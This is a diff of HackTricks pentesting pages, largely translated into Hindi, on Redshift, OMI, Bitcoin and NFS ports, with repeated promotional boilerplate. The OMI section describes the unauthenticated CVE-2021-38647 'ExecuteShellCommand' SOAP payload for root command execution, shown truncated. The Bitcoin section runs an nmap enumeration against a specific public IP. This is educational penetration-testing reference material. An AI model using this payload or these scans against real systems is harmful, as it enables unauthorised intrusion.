AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
## मूलभूत जानकारी
## मूल जानकारी
यह पोर्ट **Redshift** द्वारा चलाया जाता है। यह मौजूदा रूप में **PostgreSQL** का एक AWS संस्करण है।
यह पोर्ट **Redshift** द्वारा चलाने के लिए उपयोग किया जाता है। यह मूल रूप से **PostgreSQL** का एक AWS संस्करण है।
अधिक जानकारी के लिए देखें:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
# 5985,5986 - OMI पेंटेस्टिंग
# 5985,5986 - Pentesting OMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) में या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **मूलभूत जानकारी**
### **Basic Information**
**OMI** को माइक्रोसॉफ्ट द्वारा **[ओपन-सोर्स](https://github.com/microsoft/omi)** उपकरण के रूप में प्रस्तुत किया गया है, जो रिमोट कॉन्फ़िगरेशन प्रबंधन के लिए डिज़ाइन किया गया है। यह खासकर उन लिनक्स सर्वरों के लिए महत्वपूर्ण है जो एज़्यूर पर होते हैं और जो सेवाएं उपयोग करते हैं जैसे:
**OMI** को Microsoft द्वारा एक **[open-source](https://github.com/microsoft/omi)** उपकरण के रूप में प्रस्तुत किया गया है, जो दूरस्थ कॉन्फ़िगरेशन प्रबंधन के लिए डिज़ाइन किया गया है। यह विशेष रूप से Azure पर Linux सर्वरों के लिए प्रासंगिक है जो निम्नलिखित सेवाओं का उपयोग करते हैं:
- **एज़्यूर ऑटोमेशन**
- **एज़्यूर ऑटोमेटिक अपडेट**
- **एज़्यूर ऑपरेशन्स मैनेजमेंट स्यूट**
- **एज़्यूर लॉग विश्लेषण**
- **एज़्यूर कॉन्फ़िगरेशन मैनेजमेंट**
- **एज़्यूर डायाग्नोस्टिक्स**
- **Azure Automation**
- **Azure Automatic Update**
- **Azure Operations Management Suite**
- **Azure Log Analytics**
- **Azure Configuration Management**
- **Azure Diagnostics**
जब ये सेवाएं सक्रिय होती हैं, तो प्रक्रिया `omiengine` प्रारंभ होती है और जब सभी इंटरफेस पर सुनवाई करती है।
जब ये सेवाएँ सक्रिय होती हैं, तो प्रक्रिया `omiengine` शुरू होती है और सभी इंटरफेस पर रूट के रूप में सुनती है।
**डिफ़ॉल्ट पोर्ट** का उपयोग किया जाता है **5985** (http) और **5986** (https).
**डिफ़ॉल्ट पोर्ट** जो उपयोग किए जाते हैं वे हैं **5985** (http) और **5986** (https)।
### **[CVE-2021-38647 सुरक्षा दोष](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
16 सितंबर को देखा गया कि एज़्यूर में डिप्लॉय किए गए लिनक्स सर्वर जिनमें उल्लिखित सेवाएं हैं, OMI के एक वंशानुक्रम संस्करण के कारण संक्रमित हो सकते हैं। यह सुरक्षा दोष OMI सर्वर के `/wsman` एंडपॉइंट के माध्यम से संदेशों का हैंडलिंग करने में है, जिसमें एक प्रमाणीकरण हेडर की आवश्यकता नहीं होती, ग्राहक को गलत रूप से अधिकृत करते हैं
16 सितंबर को देखे जाने के अनुसार, Azure में तैनात Linux सर्वर जिनमें उपरोक्त सेवाएँ हैं, एक कमजोर OMI संस्करण के कारण संवेदनशील हैं। यह संवेदनशीलता OMI सर्वर द्वारा `/wsman` एंडपॉइंट के माध्यम से संदेशों को संभालने में है, जो Authentication header की आवश्यकता नहीं करता, जिससे क्लाइंट को गलत तरीके से अधिकृत किया जाता है
हमलावर इसे एक "ExecuteShellCommand" SOAP पेलोड भेजकर इसका शोषण कर सकता है बिना किसी प्रमाणीकरण हेडर के, सर्वर को जड़ प्रिविलेज के साथ कमांड निष्पादित करने के लिए।
एक हमलावर इसक "ExecuteShellCommand" SOAP पेलोड भेजकर भुनाने में सक्षम है बिना Authentication header के, जिससे सर्वर को रूट विशेषाधिकार के साथ कमांड निष्पादित करने के लिए मजबूर किया जा सकता है
```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
@ -43,19 +46,24 @@
</s:Body>
</s:Envelope>
```
CVE के बारे में अधिक जानकारी के लिए **[यहाँ देखें](https://github.com/horizon3ai/CVE-2021-38647)**।
## संदर्भ
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **नवीनतम संस्करण का पीईएएस या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीईएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीईएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
# 8333,18333,38333,18444 - पेंटेस्टिंग बिटकॉइन
# 8333,18333,38333,18444 - Pentesting Bitcoin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मूल जानकारी
## Basic Information
* **पोर्ट 8333** का उपयोग **मेननेट** में बिटकॉइन नोड्स द्वारा उनके बीच संचार के लिए किया जाता है।
* **पोर्ट 18333** का उपयोग **टेस्टनेट** में बिटकॉइन नोड्स द्वारा उनके बीच संचार के लिए किया जाता है।
* **पोर्ट 38333** का उपयोग **साइनेट** में बिटकॉइन नोड्स द्वारा उनके बीच संचार के लिए किया जाता है।
* **पोर्ट 18444** का उपयोग **रेगटेस्ट** (स्थानीय) में बिटकॉइन नोड्स द्वारा उनके बीच संचार के लिए किया जाता है।
* **पोर्ट 8333** का उपयोग Bitcoin नोड्स द्वारा **mainnet** में आपस में संवाद करने के लिए किया जाता है।
* **पोर्ट 18333** का उपयोग Bitcoin नोड्स द्वारा **testnet** में आपस में संवाद करने के लिए किया जाता है।
* **पोर्ट 38333** का उपयोग Bitcoin नोड्स द्वारा **signet** में आपस में संवाद करने के लिए किया जाता है।
* **पोर्ट 18444** का उपयोग Bitcoin नोड्स द्वारा **regtest** (स्थानीय) में आपस में संवाद करने के लिए किया जाता है।
**डिफ़ॉल्ट पोर्ट:** 8333, 18333, 38333, 18444
```
PORT STATE SERVICE
8333/tcp open bitcoin
```
### शोडन
### Shodan
* `port:8333 bitcoin`
* `User-Agent: /Satoshi`
## गणना
## Enumeration
यदि बिटकॉइन नोड्स आपको एक अन्य मान्य बिटकॉइन नोड मानते हैं, तो वे आपको कुछ जानकारी देंगे। **Nmap** के कुछ स्क्रिप्ट हैं जो इस जानकारी को निकालने में मदद करते हैं:
बिटकॉइन नोड्स आपको कुछ जानकारी देंगे यदि वे सोचते हैं कि आप एक और मान्य बिटकॉइन नोड हैं। **Nmap** के पास इस जानकारी को निकालने के लिए कुछ स्क्रिप्ट हैं:
```
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
PORT STATE SERVICE
@ -54,14 +57,17 @@ PORT STATE SERVICE
| 75.128.4.27:8333 2022-04-02T08:10:45
[...]
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,42 +1,45 @@
# 2049 - NFS सेवा का पेंटेस्टिंग
# 2049 - Pentesting NFS Service
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **मूल जानकारी**
## **Basic Information**
**NFS** एक **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया सिस्टम है जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक पहुँचने की सुविधा प्रदान करता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हं।
**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक सहजता से पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हं।
इस प्रोटोकॉल की एक महत्वपूर्ण पहलू यह है कि इसमें निर्मित **प्रमाणीकरण** या **अधिकृति तंत्र** नहीं है। इसके बजाय, अधिकृति **फ़ाइल सिस्टम जानकारी** पर निर्भर है, जिसमें सर्वर को सही ढंग से **क्लाइंट द्वारा प्रदान की गई उपयोगकर्ता जानकारी** को फ़ाइल सिस्टम की आवश्यक **अधिकृति प्रारूप** में अनुवाद करना होता है, मुख्य रूप से **UNIX सिंटैक्स** का पालन करते हुए
इस प्रोटोकॉल का एक महत्वपूर्ण पहलू इसकी अंतर्निहित **प्रमाणीकरण** या **अधिकार प्रबंधन तंत्र** की कमी है। इसके बजाय, अधिकार **फ़ाइल सिस्टम जानकारी** पर निर्भर करता है, जिसमें सर्वर को **क्लाइंट-प्रदानित उपयोगकर्ता जानकारी** को फ़ाइल सिस्टम के आवश्यक **अधिकार प्रारूप** में सटीक रूप से अनुवादित करने का कार्य सौंपा गया है, जो मुख्य रूप से **UNIX सिंटैक्स** का पालन करता है
प्रमाणीकरण आम तौर पर **UNIX `UID`/`GID` पहचानकर्ता और समूह सदस्यता** पर निर्भर करता है। हालांकि, एक चुनौती उत्पन्न होती है क्योंकि क्लाइंट और सर्वर के बीच **`UID`/`GID` मैपिंग** में मेल नहीं खाता है, जिससे सर्वर द्वारा अतिरिक्त सत्यापन के लिए कोई स्थान नहीं बचता। इसलिए, यह प्रोटोकॉल **विश्वसनीय नेटवर्क्स** के भीतर उपयोग के लिए सबसे उपयुक्त है, क्योंकि यह इस प्रकार के प्रमाणीकरण पद्धति पर निर्भर है।
प्रमाणीकरण आमतौर पर **UNIX `UID`/`GID` पहचानकर्ताओं और समूह सदस्यताओं** पर निर्भर करता है। हालाँकि, एक चुनौती तब उत्पन्न होती है जब **क्लाइंट और सर्वर के बीच `UID`/`GID` मैपिंग** में संभावित असंगति होती है, जिससे सर्वर द्वारा अतिरिक्त सत्यापन के लिए कोई स्थान नहीं बचता। इसलिए, यह प्रोटोकॉल **विश्वसनीय नेटवर्कों** के भीतर उपयोग के लिए सबसे उपयुक्त है, क्योंकि यह इस प्रमाणीकरण विधि पर निर्भर करता है।
**डिफ़ॉल्ट पोर्ट**: 2049/TCP/UDP (संस्करण 4 को छोड़कर, यह केवल TCP या UDP की आवश्यकता है)।&#x20;
**डिफ़ॉल्ट पोर्ट**: 2049/TCP/UDP (संस्करण 4 को छोड़कर, इसे केवल TCP या UDP की आवश्यकता होती है)।&#x20;
```
2049/tcp open nfs 2-3 (RPC #100003
```
### संस्करण
### Versions
- **NFSv2**: यह संस्करण विभिन्न सिस्टमों के साथ व्यापक संगतता के लिए मान्यता प्राप्त है, जिसे प्रारंभिक कार्यों के रूप में अधिकांश यूडीपी के माध्यम से चिह्नित किया गया है। यह सीरीज का **सबसे पुराना** संस्करण होने के नाते, इसने भविष्य के विकास के लिए आधार रखा।
- **NFSv2**: यह संस्करण विभिन्न प्रणालियों के साथ इसकी व्यापक संगतता के लिए पहचाना जाता है, जो इसके महत्व को UDP के माध्यम से प्रारंभिक संचालन के साथ चिह्नित करता है। श्रृंखला में **सबसे पुराना** होने के नाते, इसने भविष्य के विकास के लिए आधार तैयार किया।
- **NFSv3**: एक विभिन्न सुधारों के साथ पेश किया गया, NFSv3 अपने पूर्वज को समर्थन देने के लिए फाइल के आकारों में परिवर्तनीयता और सुधारित त्रुटि रिपोर्टिंग तंत्रों की पेशकश करके अपनी सीमाओं में आगे बढ़ा। इसके विकासों के बावजूद, यह NFSv2 क्लाइंट्स के साथ पूरी प्रतिकूलता में सीमाओं का सामना करता था।
- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया गया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 नेटवर्कों के बीच फ़ाइल साझाकरण को आधुनिकीकरण करने के लिए डिज़ाइन किए गए सुविधाओं का एक सुइट लाया। उल्लेखनीय सुधार में Kerberos का एकीकरण **उच्च सुरक्षा** के लिए, फायरवॉल को चारों ओर से चलने और पोर्टमैपर की आवश्यकता के बिना इंटरनेट पर काम करने की क्षमता, पहुंच नियंत्रण सूची (ACLs) का समर्थन, और स्थिति-आधारित कार्यों का परिचय शामिल है। इसकी प्रदर्शन सुधार और एक स्थितिग्राही प्रोटोकॉल के अभिगमन से NFSv4 को नेटवर्क फ़ाइल साझाकरण प्रौद्योगिकियों में एक महत्वपूर्ण उन्नति के रूप में पहचाना जाता है।
